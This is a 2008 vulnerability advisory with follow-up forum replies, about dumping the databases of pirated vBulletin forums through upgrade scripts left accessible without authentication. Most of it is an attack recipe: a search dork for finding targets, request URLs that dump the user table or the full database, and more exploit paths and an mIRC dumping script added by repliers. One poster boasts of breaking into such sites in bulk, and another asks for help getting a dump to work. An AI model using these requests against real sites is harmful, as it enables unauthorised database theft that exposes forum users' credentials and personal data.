[waraxe-2008-SA#067] - Easy way to 0wn nulled vBulletin installations
===============================================================================

Author: Janek Vind "waraxe"
Date: 06. October 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-67.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

vBulletin 3.x pirated ("nulled") versions can be found in use in many websites.

Example GoogleDork: "Nulled by NiGHTNiNG"


Vulnerabilities discovered
===============================================================================

vBulletin official installation guide states:

"You should delete the install.php and upgrade*.php files now as a security precaution."
Still, there are lot's of vBulletin-based websites with accessible update scripts.
Let's try this:

http://********.com/install/upgrade_300.php

"Please Enter Your Customer Number" --> no easy way in, seems safe :)

Now - what about "nulled" (pirated) vBulletin installations? It's amazingly huge
community of nulled vBulletin users on Internet. Nulling - it means, that licence
validation is crippled and usually customer number checking is completely removed!
So anyone can access upgrade scripts without any authentication! This is possible,
if upgrade files are not deleted and there is no additional access limiting methods
implemented (like ".htaccess").

Let's find some pirated vBulletin installation and try this same request:

http://********.com/install/upgrade_300.php

-----------------------------------------------------------------------------
Your vBulletin version does not appear to match with the version for which this
script was created (version 3.0.0 Release Candidate 4).

Please ensure that you are attempting to run the correct script.

If you are sure this is the script you would like to run, click here.
-----------------------------------------------------------------------------

Oops ... what now? Let's try this:

http://********.com/install/upgrade_300.php?step=1

-----------------------------------------------------------------------------
Step 1) Fix Some Table Errors (Step 1 of 2)

Database error in vBulletin 3.0.0:

Invalid SQL:
ALTER TABLE vb_user ADD birthday_search DATE NOT NULL DEFAULT '0000-00-00';

MySQL Error : Duplicate column name 'birthday_search'
-----------------------------------------------------------------------------

Cool, now we know table prexix! What next?

http://********.com/install/upgrade_300.php?step=2

-----------------------------------------------------------------------------
Step 2) Upgrade to vBulletin 3.0.0 Complete!

* Updating Version Number to 3.0.0... done
-----------------------------------------------------------------------------

And finally - how about users table dump? Try this:

http://********.com/install/upgrade_301.php?step=backup&do=sqltable&table=vb_user

Or maybe full database dump? Why not, here it is:

http://********.com/install/upgrade_301.php?step=backup&do=sqltable

-----------------------------------------------------------------------------
Opening vb_user.sql --> download prompt
-----------------------------------------------------------------------------

Mission complete! Pirates pwned :)


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Buy legal vBulletin licence. Or at least delete install directory.

Well well.Waraxe this is very very old bug in old version's of vBulletin.This will work in 1% of all nulled version's.Why.Becase in most cases "install" dir is renamed or delete.Second.To do upgrade of the system you need one particular file ./install/init.php but this file is or renamed or deleted(if you follow the tip's when you completing installing vBulletin on your server.Something like "Please delete install.php and init.php otherwise you can't enter in admincp").

Original bug discover by "I don't know by who"Smile))

./install/finalupgrade.php?step=/%20db*/%20backup*/%20
./install/upgrade1.php?step=backup

ОК дружише не падай духом.Smile2% if you find file in 'forum' dir called validator.php.Nulled team's put this file inside in dir 'upload' to validate they nulled version's.If you find this file you can see all dir's and files in 'forum' directory.After that.:)Be inventive. Laughing

Fact is that right now there are hundreds or thousands nulled vb-s waiting for exploiter. I did some digging and google gave me nulled target url-s. > 50% were affected Smile
There are lot's of mitigating factors, but my method will work almost with any nulled vb with undeleted update scripts. And i saw really big forums with >10 000 users and still exploitable. So how that's possible, if admin can't reach ACP before deleting crucial files? Anyway, i don't care, how old this knowledge is. As far as there are SO MANY exploitable targets, my advisory can be useful.

Well if admin's are stupid:)Nobody delete's upgrading files.Try to install some new version's of vBulletin on your server or somewhere alse and you see after last step this shitt.

Можно поиметь 50% но от етого толку немааа дружище.Те которъе надо брать такую хуйню не оставят,а кода она стояла из за етого бага я их брал пачками.Потом какойто придурок запостил етот баг (не помню может год или два назад) девелопентъй прикръли етот баг именно файлом init.php.Правда ето не относится к нулед версиям.Успехов дружище.

P.S.Пожалста поменяй мой ник на pexli. Thank you.

Regards pexli

This is a snippet that can be pasted in mIRC's remote.
Ex.: /vbnull blaat.com -D /forums/ -T user -H
the "-T user"-flag is the table u want to save, if u don't specify any table, the whole SQL-database will be downloaded (this could take some time).
The "-H"-flag should always be there (it tells the remote u want to use HTTP/1.1).
Dunno if there r still bugs in the snippet. I did test it, but only on 3 sites. (it worked on all 3).

Code:
vBulletin Database Backup System

Backups must be run prior to the upgrade, if the upgrade is complete please use the Admin Control Panel.

For a foolproof backup, login to your server via Telnet or SSH and use the mysqldump command on the command line.


Im getting this and the person does have init.php

Anyway of fixing this problem?

Im trying this

Code:
http://**********.com/forums/install/upgrade_302.php?step=backup&do=sqltable&table=vb_user
